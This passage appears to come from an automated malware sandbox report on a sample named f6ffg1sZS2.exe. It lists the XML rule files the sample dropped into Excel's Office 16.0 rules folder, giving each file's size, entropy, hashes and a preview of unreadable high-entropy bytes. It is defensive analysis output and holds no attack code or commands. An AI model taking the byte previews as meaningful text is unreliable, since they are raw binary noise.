Preview:	<?xml..n..}.0^..2.db.X...^C......0..{/u].....S..d<9..KZs..%..H.W.W/..i..Sr..!.F.n/......Zf.........J.F.%......Ul..../......>....n..)_...[./_%.."6/.C.M=d.....PM..D.$R(.lA.R...y/.LY..p...Wr...=..V......$\.{.X...\P..^..2...h{ec7./..}c&N..#...L.~...O.%.?F......v$w..`K.7}...!.....y..>.7rk....J....S.z..'.cS...\|t$CP$...8....X7..I.'.TL.>_.?...._...l....OV......R.FS<..@..c5.u.g!...#..N}M..b.7I..t......$.....Q3.,.[...<........H.....y..rMQwV...U.3O...zg..!s..J.?.Y.B..Giqp.o,_$..I.e....d..$...~..L......6........q7Q..e....N{..q...h...+.LF.Q...n=.....I/..N.....rv.7..J.e.{1... ..v.,z.-.......L,8O.'.&..l....+\|+.^.'$....d.p.B`.1IU......LO.e......<c..@.O..G>..Y?.U.....:.'.(5..D.3.....HXr`.C;..;k.. ..3.b..f8...A.T..S1.....'...m..D>e4.T..[8j...,...q..K.r.."\|...["../.j.../...\..L...{...m.....b.X..~1..(....c.....L_.....g.K.`Mj.oC9.{..n..M.l..}w.]_...6.z......y.........H..S3H..Q..4%..;.$...j0C....2.(B......$i$.e...$H_>.m.(v[U./:(. ...A.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11770v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	4968
Entropy (8bit):	7.966531079459577
Encrypted:	false
SSDEEP:	96:xDaE0HITOvBxKlHHoix+ie/tYi++lLuU8oymDr3mcJLrYN2:pIZxKlnLa/tYELAoymDKchkN2
MD5:	43EE83893E780801C7E5C43121B0DF2A
SHA1:	11DC5FF86DAAE0AF54C0827EAC7506011628D0F0
SHA-256:	637F3899B6EF64E92AF28EC6FCC2D7532FEF7964CD07B11DB1B9EB473070F502
SHA-512:	6BE156B8C11CC86F858554630586AE4814F95B179BCF7734585F2348E4BE2F636D354CD4CB1FA630F638A827588F9400F493252DDED5C73FA1E74F8CA747A6AB
Malicious:	false
Preview:	<?xml.M.........C.G...M.....dEF^Q.{..F.......{..<Q...7.....U...?F$8{.km.a_....[.C....Z..y.; (..;..S.t>..`.S.....~.Pa..j..H+...T5..U.1..a.....ChN...TA.....%..=]..........O...5].:....yB#J....2...w.../...s.V2-.1.1.V....8..%3..<..@......b.'....?..x..s..3T8...{.K.41......I.......T.`_..j...x....U.F.<..ha.X_..X....R.R.~3.g6..~Uk...9.%...I8&..F.....&...!..^B-...2.#.@.Jh.93....%Ew)... ..h.,}V.R!...7..W_.U.v9.....$..G.8.....K.H.......?.>...DFonH.\|...7.....D..I.O..3WT9\|.U.r..4L.^ra..nE...{).<$......w.1.zp..S.2.j&.....Q.&....w.F...B..T\7......(...D.....%!.J.R7Di.......2...W....xR......2IUu..O...q.ou.:Z."...c.".....S..>."....9>....i.....-:n.yc...{.t.Q..4.u.......Q...'.........p..Oj4Fi.'L..*...H...u..l"a;.G..?...>$N..:VHE...[.A...7....,..6.#.vAz!.C..>.n....~..n@X.<L......pU+Y..S>wfY.H...W............>.y.. ......Xp...Y.v.^....e1^..{.$...N..P}j.+..B..%._%.{qfmR. .?.g.K..}Vk.....W.L.)..`...\|..1.)3.7.;.....79......?t..Zt.{,/..>.:^.)..v<.E..'.J

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11771v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	7596
Entropy (8bit):	7.978171195396202
Encrypted:	false
SSDEEP:	192:Gg9JZXaI7F0II8FewPoQIVCwuVqrprYDrPjGGgICtjQsM76h:pXdFqwICUr+fLGGgLh
MD5:	D3AE4C210131D847285ADD79FAF038AC
SHA1:	5E546038C842BE0F6C1568F9030674EB670073F3
SHA-256:	02D4BBBD9DDE5C799527B5B80EBF6B3C252C286C7E22D742C3616882C8B6C498
SHA-512:	F79780F169BB6079F914D629D7A6A1B36B40D1C8BBC979819C8E81102327FB64B3D2DB3759B529738BD1D7AA04F6D0B37BB5DDEA7785C725901F468325474EA0
Malicious:	false
Preview:	<?xml.U....Yh}.ZK......6=O..Q^.%mC.._ ..:;+......^..D....+3W%...#8.S.=..........B...n...U.2:.B;....E.bku......I.4.l0.O..B=.V.B...@.,.....e._...'..[.Q. .e.._....%....!q...vD...Q.....U....\.=(.Q..(3.B.x..v..0..X.%[.O.V..\.T.77..(o.k...V.Zf....7;.i'.A.J;....M..e.S.......T...^l>.....D.3+...)...2....voR..m,...p.x...{..[k3.....ab...q.{$................iC..+.("..2.0.qQT...''......n...i.._...t;....4.......Jl.s...;.[\....\|.q.H.&r.....1..C.!......Wu.FIX,...F.;.<...F.."..N.. zo..:(...+...`...^.F..y..YD8....7u.iB.N...e..{.E..}bNA#&.".......r.....,..o.3........gI;.N.b.aO..../.V..1.8).T.9C..k..X.pR.Y.Y..+..d..._TR..)b\|......Yr...$..9.B..a..u..8.....>......!...GF.......`....(}...~DE.....cY>L.J.......7.....c}....$l....'B8=...Z.G...x"....).Z.....z...3.2..5.j..?.....,lOLd.'y...pm..p$.p.QCxW.._....O...].......qW.D...t]M<.W....o..=.........T...~8".$....X..B..c1..I{%)..%h.7M..8(..C:va....*E0...j..2y.......!t.r..H.p9&.y.L.........\.A.z\|..V....M..'t...p....r...F.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11792v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	7356
Entropy (8bit):	7.97214933117973
Encrypted:	false
SSDEEP:	192:94UmTbnZKg+qforzcnksffULshiWTDE4e9NvGwjPqxvzNd:94UmPnYgZfPcCxTI4faOvb
MD5:	C3B7502426D0B398DF48A3FEBF3BF208
SHA1:	965AD2D19DF0DE0EFBCC9D61C7727EB871F83BD1
SHA-256:	5A55B6FF8E8FA731AF95FE7C17F3ED339FCC4A4FEED8A84837F4E9E8F8F7DB01
SHA-512:	868F47246E00FABD6DC1E67920326187649C5F3B9ACBF07D5495E4244CDF09AB64D3E8535F8385BC7D866E8B4671921624594C0F21A88F172B3CDE91B76D7CA2
Malicious:	false
Preview:	<?xml....OZ}\|...r..J$.3.....7.......j...._.I....6...p"..I.n..].x......l.....)..\|u..VkX..y=.;B.q.hD....)Z Z.n...!XujE..U...\|^B.q{0..T....?..P.E.[.XE.....C...sG.^..k..W....@..b#.Z..}..053......J.........-.O._i...)3Pf..q...uj..7>.Px...........5.@>..vL...g[......].GPS...d.,.3mI5x.. ....T.............T..1].Vx.Q<..)]..qh>0E..Q.]...G.qr........,(.....@\|.4.,.%.I.l...3.NF..Gl.gv&A..C`;P.y.Z.b}.\..).n....P..[..E.i......k..}.4...U.i.!.....V../F.>..+..._...k6...9.w.F.>..Fg..Y\|.d7.......ctd...=.....ER....M...X?.2.,p._c_y8Z{>......u\..~./7.3A{.z.Y&8$B.7\......g...?.=9=.\.F,..>N..3.*...Za...6.a.#.......x.?..@.P.P1..{....1]..._h.9..@....#...7.[.b....IK..B....H...r....Y..ih }.y..+..>4C.-....;TBQBY.z=7.].\u}..\...S'.\|.....UY.Q-arY...5......w.5..Q;.....Q..5Z..z...+.....o./.:a_6c....W...$...{.'5rCq.f.......f...E..b.Aa.)..J.&...!.{.;d..J......>.V.c...q..7..:..x..2..f....7H.jw..1\|...u'..9.IyqD..B........ZH6.h.\....ia..i..hs...Q...........7~..@...{^X.`......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11793v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1551
Entropy (8bit):	7.86684030886698
Encrypted:	false
SSDEEP:	48:32NK4rdtj18XfymRKQSNbXbvVJ5nA5pqrsbNvPbD:GPptjGym815z5gqgRv/
MD5:	E3DA64126CE67514ADE74E0519E13161
SHA1:	7551A06EB85EB3AA85E14F671545382E8432A5D2
SHA-256:	CA583D21CE6A521EDA28FFEAF0CF641961B52CE78C3917F6BE0ADA6E7192EE60
SHA-512:	7DA30D38B99F906523A64498270CC8CA68E0AD470E2116DB25F5AFD8C454DF400C5E1CF4D756F9C3E5F2F318D9449A21F6A4F7ECC29A0F6DA18CC6121E101C7E
Malicious:	false
Preview:	<?xmlF.h.BO^.._1.#..2.(...xyg....j.y. a.q.8]22.].v..`..e.........<.v.....z.E...... ..9p...7!.K.#.(@Z.....1S..$...z..XT..g].d.z3................V+..$8.%....Q.....u...o....9..n..>H.h.....!.Z\|.865...]H.H.........QF+.i...m...E.aE..A....Z...y<..G.\T.6..7dyvk.@.....3..!ig...Rv...Tmr.3.......1..F<....%K......j....9............:..]e.P..]..HD..{...m..UJH.........vr..L.\=..F..1.7..T)&.[...=.pfs..=.Rw=2.^.8..Y....7..B.5.....r.<5\..'U..DW.?.Oe.._.....3b.:....Z8p..m..9Q4..\|M._+N?0[t....h......2..f.8......t$.J.w....1.X...._0..........'..1..-..F....U..3.'..&.....d1.].7. #J....4L...b......Q...m.:......0..'.Dx..gB..q;.m..y...........41<<7...8#]I.N..~...}..&..C.4..y[.........2.ig..0^.D....m....6.A....K.U...#......CP.p..Z..3Z"....?..^i.K).......R.../`.....=t.0..\|yWk.....R..*W..t...../...W...R.].0....b.2...d9S.7F...4R.n.,.....}W.m.....Vt.+..(...-...!...m0..'...Y3..A7..i%...9........?.../.0....X.'x...{..k..y......?...P......\|.+...%..H......H.E.,.d....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11794v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.896549347520788
Encrypted:	false
SSDEEP:	24:aaMH0jMEmmhmzNxMuFayOwTUgSl2O/Svxaj8kYnF3BRw0ZPORQLTCcbD:jg0gh5Nxcyk4OKQ8kYnF3rZqQfD
MD5:	2719D474A7ADD4461080EAFE92928604
SHA1:	AB08CFDBFFBB03A0D3D961C6B31FB72D779ADB49
SHA-256:	A91D2CF38A6924CF14EE0E03D2EE7DC0973121A82EC0EE59C4E7086477D8FEE9
SHA-512:	D626A92BC4A5878D0094757EC1E465850CEF87D72F03EF708E2A03A98DA1B4F0DF3D6729B1426231D797F5624564799C9192B55DCB822E48E6E8DBF4D06F800B
Malicious:	false
Preview:	<?xml.+...].........8oq....f.^qO.q..W?;... ...1.e.S....l.K.4.....$..R{....He..k....y++......bM..;...k.UY..)....3~.1..h....".A.<...p.p..P.1...v..+...K^....~.qQ.B.G.5L..W.DGO"............_L......@..R..Tg....{...<Le......i....;j..;.0......U..fA.h..-e.....$..&j..mU...YT.R...%1g..._........4.C....}..9Q..O.3..ShU...].S.%......#.{.f.....c.."pW....A"....C7...c......o?..4B.\|/..}x.RH......K../g.Sy._t.L.W.....j.M.=d...d.......E...'..F......AI...Dy...J...L....v..."....!a..k.F?,.?H..OG... ......5C\|.7..%:.1uN.j.MK]K..Ht...m..5 .5.r<K....<.$......}....;...).......s........L......1!......].....,.XC..U.:h.....i..\|.R;..f.U/.w..P...7....1:...n."..;T..rL....7.R)...h\|...d.....d...#...s.aH..;~.@....._Q.jfBf......7.-<..#...t....5../~.....$...k..`4.._Q.Z..a.knm..v!.#...J.*".7.r{.. ...O.....%-..d.......K......EG..~D....9...0.0.. ..>.J$S..E/!%\...-8...x....1.......MI....r.../.n...X...8..A!3.C.\|..Z......j(..n..D.\|..=..M..............co@.H.k..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11834v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.8807704466334565
Encrypted:	false
SSDEEP:	48:vt1cuMA6RQ7aRN/+0N2u9nK+uaKCO+Zd/oQ6D:liuMRQ7302yZBob
MD5:	6BE0C73C482DBB51FA7BA438BD4F3926
SHA1:	E8F03C2EF7148172C47770614162CC4BB77A1B9C
SHA-256:	5AF2CB5BB6E10F785EC334718C601F157F4E95245FC9379B4E87B08B3F9F5626
SHA-512:	0CD2411216B55237F4161EDB0FBD151DE241CB052593BAA4965FC8C484E9231896FEAABF617DCBDD1A3B795A6FAD9BBFAF023D24FAB72DB85ADDD9764FE4041A
Malicious:	false
Preview:	<?xml1.#.yS...i.....k....9K......,..#.....]..5.@......b..QC%.[...5g........~Bv. .&..}.In.[........`..!.._..C..l.lAb...M.0.2S..%L.f.a...Q..N].......c.\=...!}.<..>A.`h...2.0.....\...o....%....m...2~"K..7QHf...W.. ..p.=.1..o.{\T\|a.A...E.=.lYV..?_h">. ........`M.uz.Lh..L.s..$gi..@J.e$..hb..l`.O...!.Fsu.."........._P....M%...."`....NQa.G.h.N.%.Eh1./.F.?be..V4v...f.'..OB".L.Vn.....<[......Z.w).w....c.JH...-./..q.....l.wu..mT....R...jJp../.....Z.XcY.4....~.?X!...w...^$s<.~...Dg..\|.;.&~..IK.t....c+B....3.R.....W.S...P:..u.....G..)\|w.&f...)!4...{V....[..d.w.2........Ws.s.0p...F....u.c...p.oqpa...%.....2.>5.t.NJ.~.....i....d.EB....cda(o.......w.75..m.V.....)S.b:qF"75...b..T.G}...m...p.MK...[..\.D..v.w.....a.?\|.<.\.5....t..5.W......^...W...m.".:{~W`..<...j.../......z.A.9...K#.R_x...G{~.(..AV.5.?R.e......P...cKwJxp.yI.:f/..j...SG.m...)'.......)/.a..T.......!...^...B....-aGR'..Z=....Q..Z...(.F.4.%.}\|...ex.....h....j....9.`.y..HRq..c.o.$K.h.z../Xf..+.i...r

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11882v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	7.849208250891786
Encrypted:	false
SSDEEP:	24:VlUB4OltR8fnFdFL1k8PWa52IeXCR2U/h8LbKMP+fPTUOsoX3lP0uSuPwMeeOEK4:7ADltR8fnTFL+kWavb/SCjrXsy3l/SuV
MD5:	238EFA685B5F2F2C84D1FAE766E4E095
SHA1:	4B53483D803B9F315EC83F4A084D45BE4F3A3678
SHA-256:	1422131E50963C7831EB0E4A0743D6684BF5C94A902901C87998C9B47CA9170E
SHA-512:	C7084D51A9695D016E50B1DEB7AA059B582AD4ABF8E04C454AEB8AAFF62C67A8EA42F9704E930495B22B820957EA5E262AA4830195FCB32292C6C60501359609
Malicious:	false
Preview:	<?xml...GJ..qie.G..v.....8"....s.Ru`I.vZQ..U.QF...f....1.y..o{....q.....).z.\d.`....y.y.<..\%6.`.(...G.w.d(-.?...L.n...$Jo.< .H.^a...M]..FU5...B._...N.\.o@...~.Ch..4.w..gB..U.....Oi)i.C.....W...=.n..l~.6e..*r..(..PT...m.~Z.+.n?.......!.t......rj.G..%...#."\|.....&A.S.......V..z?....1...q...z$.S_.i.eMg...V."..->..Y....\|+..6.,.i.i....k,.3.g ..#.w.#..7.z6....]...~.1F.zF.;/W.>..I.fg~.$.U..N.M.[..K."$..!fD...:,.U...y.5...B.o..K..;E.r.w..F.....ku].C2.`.w.iP<{.k....n.V.+...b...H@j.;..Wu^t....k.`t\|....o...t...2....R0.a...Y.....L.)T...v.)..y#2n@.[t..QlV\m.2..l...U..Av.....f.gB]...:Ho..3A....[2......r........YH#.^...Wf....0..;[F..L..'.....>C..um.....^.gs..i...+.]'...H.:...O...n.u..O.1.t)1...\|.{a.`.a(..5.V5a.@f.S[\|........,.{....\|V,(+c..#..[.y"hF.[w.....HA...4....s"...`.KYSS2{N..;..].\..G.;f@q=.(..........?..@0+>.G.P...a?.HT....H..U7?=....7.CF....%......^x6_.T..`.K.4j.O)w..?`.X.&.lW......J...S...8..4...x.s..3...V..z...cc..h...J...........E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11890v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	7.8635654416001115
Encrypted:	false
SSDEEP:	24:4nNuI0egA7Z/cIQkJm4Nzloo3R5M6KhCXfhEOX7tOXHzj2f1dd9b5F3ouIRkefF7:4nNt7VkIQkJtNz6ohScNX7tiH2f1nHIZ
MD5:	B506A3338ED8C606A52D52D05F74A6D7
SHA1:	432EE361AC9A208FF48AC73E9159A5DBE07E35A0
SHA-256:	0881BEBB2D9AE68B4B8C98D45BF4167078BA5F100A176E13F446D42411C2FECC
SHA-512:	B32402DF8E354415F28D1AA4D472296A47A0294E46FBB4AFF76A26256EF87C7735BDAD3AA83A09536EC0DF9533725A4995359592481D215DDC56EBF7D303C4F2
Malicious:	false
Preview:	<?xml.N.Z...r...s...z...d.,......$l. J.Q.=/..c........x..g6........-..Pk;( ..\|.....wMh..[...M..?.%.d......(P=..j.!Tx..l7 .>Z.."4..J.$.2s........-....gwIr..n..c..K.......}to..kB..{+.7..l...u).8.<....2b..'$...`.d..cx.....7.7....s...5...Xy....R.hu(.C.ZU!..z.W..._.7p.=..........j...C...Eb..G.z.\|..&.M.uz....t.ej...E.&.._.j..4e.>s...p..-...n.Id}.....7:.;s..8.!..'.!.V.>i..(...U\|)Y......{.......2..#.e..l..a;a.+..<...P..F{0..".A.6z.........E...4.A_.{)....C'..".......ez...B.z.\.PV...O.O.(...{.'.:Fg..fS......A/.....J.6..".)Z....v..BeO.O.tb..o..$...7..~h...v....ot....sJb.y...0.......1.aum....{.7.:.f'a.a.\..Xr.ds;.K^..j.....g..j.../..........R.mbi....E......0.T.....n#H.e(.K.....Q.]A.W...G..@.;.!yzGB#e..J.)..lIr!!.....J..Y......'...6w...{p..c.S......y.H.;ZQ....G....].-}..s.X.U'.GD..r(>[.M<..;y...m....A&..eD.I.\.4.Hfd...N..^{<'p@}..(...X.!.,8'.....`.!.<..D.MF....#..KM.h.2.(.iV"...U.Y3..Z#....Gl...C....3C.P....=Z..jHnR...O*..OI3....c.)y......Gk...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11930v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	7.87257463911597
Encrypted:	false
SSDEEP:	24:RFr+uj6zChUGJKTJifujgovKoEONPFCAWorz1eRjQ4Q1wzAUrD48fyeRbD:R57j6uhlBm9CeuAW68fQ1oAyDvBD
MD5:	52E812699F46D615DA21F93A6CD0120A
SHA1:	B9ECAEE86907E13D30F6FAF3B3791E503134D4D0
SHA-256:	0165E0C4CB5F6C0F873C9E03FE43B0A92626D0BFBAA7EDF302AD6EE651FBA04B
SHA-512:	BBC044ADDC4837C680CF030309D691D0EC13D100967519495E50A875A79C7BC9FA53A2A96D9045A47CB93AEAE65FB2A31DE633988CBC12195B27C35C14304B4A
Malicious:	false
Preview:	<?xmlAm....)...,.8.....g..lzKEQ...qF.....y6..E.\|.Q..e..H.h..sJ>x..e.....h..........l.........N).b.@}..".g...B.@G. .7k......$..d.W~."E6.7.%..T.<.jh.:.>..)....V^VE....Y.'v.2..W...G0.8..W...$".Z.O.a..I....wDv..S..Y>H....EU.=.#G.4.J.&..h4....m.d..".i...d%F\|.9..7.......,.6.........i.`3.W!G..kM..b...6v..B..^d...6A..T.]..b..Q...R8....2U.j...:.+.v^..e.v..z~......A......3./..<.Q.,....-I,.G.NK.......)..(B..........dy.dL..../Y.&.....t.NA#..y.TJ..R"......c...>....vy.e..E.k..n.T..w{ .6EJp...CV....ng..R!S[..N.'+.M...8r...gx..-[.#....u..z..5.........w....q2y.Y&..m..[.b......g...i..en.....X....\.j..oa.q..>.k...O..#^.<..... ..+....D...T.>......)2<...R..A.P...lF$..4,\9..#....N\.w..b;:.........u..MS.]..$u.D.r....o.\.R..4.p...}b!i.{.%DUZ...7.K....nS...lM../.D....0`<I.:..o...h..5.{...)A.&.#..&.w.<.>...<?d..@R.$..D.?I...(>.X..#{.}...AI9..[..../.d...W..WqG4.d.1q..>........a.Yj.l.J....v...5....Ji.tN..L.....>..B.9'._h,....+...k#-H<...\|k..H.....}..\AQ.?.-&P...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11931v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	903
Entropy (8bit):	7.764624051053089
Encrypted:	false
SSDEEP:	24:rSluRgioY0wSplaNaYS7rEZxeEenSy7rlJF9bbD:r8uRVoY0+aYSkWbnSy7/F9fD
MD5:	F13B1ADA3A855B6CAF5D272C314C5806
SHA1:	2D6F3A1E643E8C42669F5A3E475F97158C3CE8B7
SHA-256:	E9EF3F1B9BC74D5EB3F1E9D3992F8F818CD02A034CA2408ABD8FAD1122DFB92E
SHA-512:	AE8BED24B6D3BBEF3A8E4841BA904D7CC4B572D1FC65F017A2DF56A01BCD90F4BEB1C27CBE735257703E006ECBC8306207D3E3554795A734B3DBD992AF5DEFAC
Malicious:	false
Preview:	<?xml4c...FG.....?......U.n.. ..U...q...b..E....}..].....b.f....(....z[...>J%.....Z..m>8..o..&..Abm.<&....t.9..8.....5>..q.. ,l.fN.\|..1Yc.2.R....<.!....t-.D.<3... 8.....-c..J....W@...8...w....j.4...u...6....qY..!...:>1.AO....=;8l.W.#.......<...By.-....e......3j.h...v@.....RdLX..n\$Fv..t....j.h...3L.0+....>..A@.Q...4...V....3.<.Z6.)b....5.....o.d..."....1..b.[0%.....2_'<.C8.......b.q..OU.....HI....u.@.R..f..g..........\|..u. zf.@K..!(.I...,u=/4..X..7..2Z.....zs...nS..i._..%..+)).g...t....lE.M5..[..\.vs@.......'>\|..,'.lu)....H.af.T.@.P...!..~.D..'.t.\|....xp.3.....a.U.../.I.2l.........ZWr.......]}........\../....Pt.....6...c..C.NJ?o.eE.&....e.........\|..X.m...ge./l.......f...K.Y@U......}:!.T4'V...".=.X0..c^!..\V.........Hr...\|.h]....^z..!D.m......V}YGc........F..tG...M..~.".5.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11932v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3566
Entropy (8bit):	7.9444087419234695
Encrypted:	false
SSDEEP:	96:ZY4Lc/1pjDQNkIRjVSjwu7NRYJiVjKxECoMf3a2SbxNly:nEpjDQWIRjVawuzkghYAxNly
MD5:	3DEE058364F79350E0779EA059575CAF
SHA1:	FEB69B29F199FC1EA61E11E126123553B22FE0F4
SHA-256:	6D40A7049698D432361C1546467861AA5F97736B78EAEC50E3EC91E6A4452271
SHA-512:	08F0A90D0C871D1172083D3395AB41FE13614E2E9F1A0341FA85FEDAC17D237B2D99A4C50F6368B72A86E5E12EECB71125D2D03CE377F090B335D28E0F814F92
Malicious:	false
Preview:	<?xml.......l`.Lf[.2..<.l.........$p.`......jx..>1...z..y.KP/...y...%k4....@`..o..m8....\t..z.X.^.r.........?...n....+n@..T.I....>......c.....I0..-.1... ...~Kb.ck.s...W\|...x.9N.W.c.WG......r...]..D...a..g......+.:X.:(..("@..f^..=....K}...V..F.I..O.Z.R5.04....n..=-.a.1.0#.N.U.w8u..C(....d.......F....p....._.r?..T..Xr....K.[..1....s....N..O..5.g....../.zCw.C...v.Y..B...ZJp.....!..@5...._.#...(."...E.8.....z.YJr...@E....'.(e.4.'.z2`S/S.....y.H%Jw=....15o....\..4..?rD..AV..].M..B%.s.>..(~..r.\|.p...b...'.....~.."W_f...5.......d.'...v..k&.}.........b....%.....>9..F.\|..K.....6E]...#..Qb.nV.j...DG0..K...tT....h..O..<m..8.].1....*np...i.......I.+..~>.2'.Q..@i.`.+?..6..2...qlH.[.....A.{..4.../[..(7q.E?....%."N.......e..bO^.1..P.L<].X..f.VnK-.-.;...=.5UA..h..0..wQ6..........;...-.LP........%u.U.....K.F.P/..oQ.....h.4..'&%....n..9.............mS(..V.n>m....8...2O.....{&9.k. .A...RL.-.FT..q}zW.}/.y.{]..tE..p.......DhN...+..X.g.?_..b..#;.W.D.E.......?T.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11933v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3677
Entropy (8bit):	7.951254503530073
Encrypted:	false
SSDEEP:	96:T1W1z1qy/m86Yw9NkfZEWpI6TuSvlLgWjyo0T7bHRZPK+V:w11/m863NeXp0SvhubTye
MD5:	1E1EA74A898A066C8F860A7E87ED7C9A
SHA1:	9F69BFCDDC422481158E97F54FA09F3BD7512D8E
SHA-256:	578B2CCEFD8144409A28F860894A957B1E2B915C9465D0B5FCD4C77E343CEC39
SHA-512:	7F7634D24C6C3D96C7C9D5CB9C8DEEE91C05252AC8C9CAECA4CC5A03A2AE52290E4432D340C9E9F05A6DEED854213CD5F23FF599F32C7E70EE4B63DE29020576
Malicious:	false
Preview:	<?xml..A@.4.k9V......c7.v.3cl.P...-$.d.:V.lg.y.>.\.MQ..3VE.......Fm....gV }.....p..8..;XX.i.....5..P~e..A..b..Rv'6R.)..V....7J.%u....k..%.......%...1j...0..lu..yI,...i.A./8.>...:..LN...w.d.\.%I\...1.....u3.......zSij.T95.U2..iX.x.v.<...z.1.9D..o.....Dp..N.......k.X.nNZ.....8......D0B..#.k.L.#..;t......h....^U..XQB[..~N..I1....i......geaD43RIS.p.\|.,..-..D.5.m.R&........@...U..sjG.A...su......<.mN&.%'cX...uG....-BF#S0....P...n.....9$K...G.ysp..8.T.[W.#.,...2..`.....)..?n..Nw5z%...w.C......d....m~.09.....DB?.{=...".8i...v'm...AULQd.s..(.5.M..(..@.....N..]......I..p#J.4=3.C.9..O...E...m(F..9..u. y.].!.Y.............N.......;'."g....M78......B.j.<.[j.!.3}...J..g...Mx..BX.....KZ...iP{"..(Hu..,...O.Z.0-:r.._...iS.\|...A......$.Z.eE...".........k......U....n.'...b.\8..../r...z...;.k.yj.!.(.c.K.t(..D.....f......6...yP..\2i.k..d......6...Z.G. ...f.H.Dzq.,..:.J.".+.`.~...-..rK.%.......0......X?..;..y...[\.n...y.@2..Wx.n...K.i...LcAP+.*..O..<.=.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11939v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.725627586980409
Encrypted:	false
SSDEEP:	12:OVV//7uUmozjBsTVF62Dv6m/3ULUNSghRGSSyMbc3lj4wuPqY/f12evS2cii9a:OVlnmohAVZ76m/U9ghVMbapuRFT/bD
MD5:	28CA23818467724DAB4968594F84519E
SHA1:	2B03C4C91ADC5AA4C950529E7060A82CD8D4ADBB
SHA-256:	39E3A7A79F6F9C0BEEAF19E95B8839A731F71D6569CD71EF05D77DBEBE197080
SHA-512:	D124805802B0DA18A9DB02E3E3DF93B275DBC1C451A5E2F171BFAB5C7AA97652CBBD6538B2311C34DC03157BEF6CB529D2E824D43A1708FFE247CAA1BABA3A06
Malicious:	false
Preview:	<?xml..q.&......_i...gy./b.......Tp....).T....LG%..W9..(T..Nk..7!..g)}N..S...,..Z..K.}_....!v...#F..d..e..!M~..B(.q...p!.l~G.!...(D.5..Um~S....Y..O..m..$.p?.....$,JV.....O.R..,3..d....yV...A........;t...w....N.\q<...?...P.....,....z<..9.YO\|+0.j..Ug?KX.......tK1..TEz.....`W..s.-..X...g..w...`h....4X......T...QJ.ce"..(R,% .{..x.J.Ks...4!.C!D....4J.P...<.<.$...v.b.h.".b.?.s.;.5..UY.U..y.Yy...x...B...V..a........Q5..Z....zM79...`.l......t......x...G.8.f..3..7\|..X.+.15I@..b.\|0._.R$...S*.Py.W...BO...t.....n...F.2.s..k....!..L..%C....O..-..u..[..+..8......M.d%F.C..8<..0...._.....me........r...mG....O...-s....i.";n..#_.) .9-kH..c.R.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11950v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1620
Entropy (8bit):	7.86555902409865
Encrypted:	false
SSDEEP:	48:xcB/bWBFjQTcD/OicKZ9YOvjs1pPf8B/D:iJiXQQD2+sQaZf8Br
MD5:	8FFC464CE2FC73B8F0CC1D555FA49311
SHA1:	6E8FE7457A14ED323185AA25D6491809487D87BD
SHA-256:	7871542644590210EE94AF626C48F6F725EC540BF34A968FE07681F77815537C
SHA-512:	9286BF727661FD9004E8204CCC98FFE8C34333E9A5877FBC9CACD74A0E54391E6D81FB1363DD1FF6655CDD82408877348196912F0C493972205C35DB40AAECFC
Malicious:	false
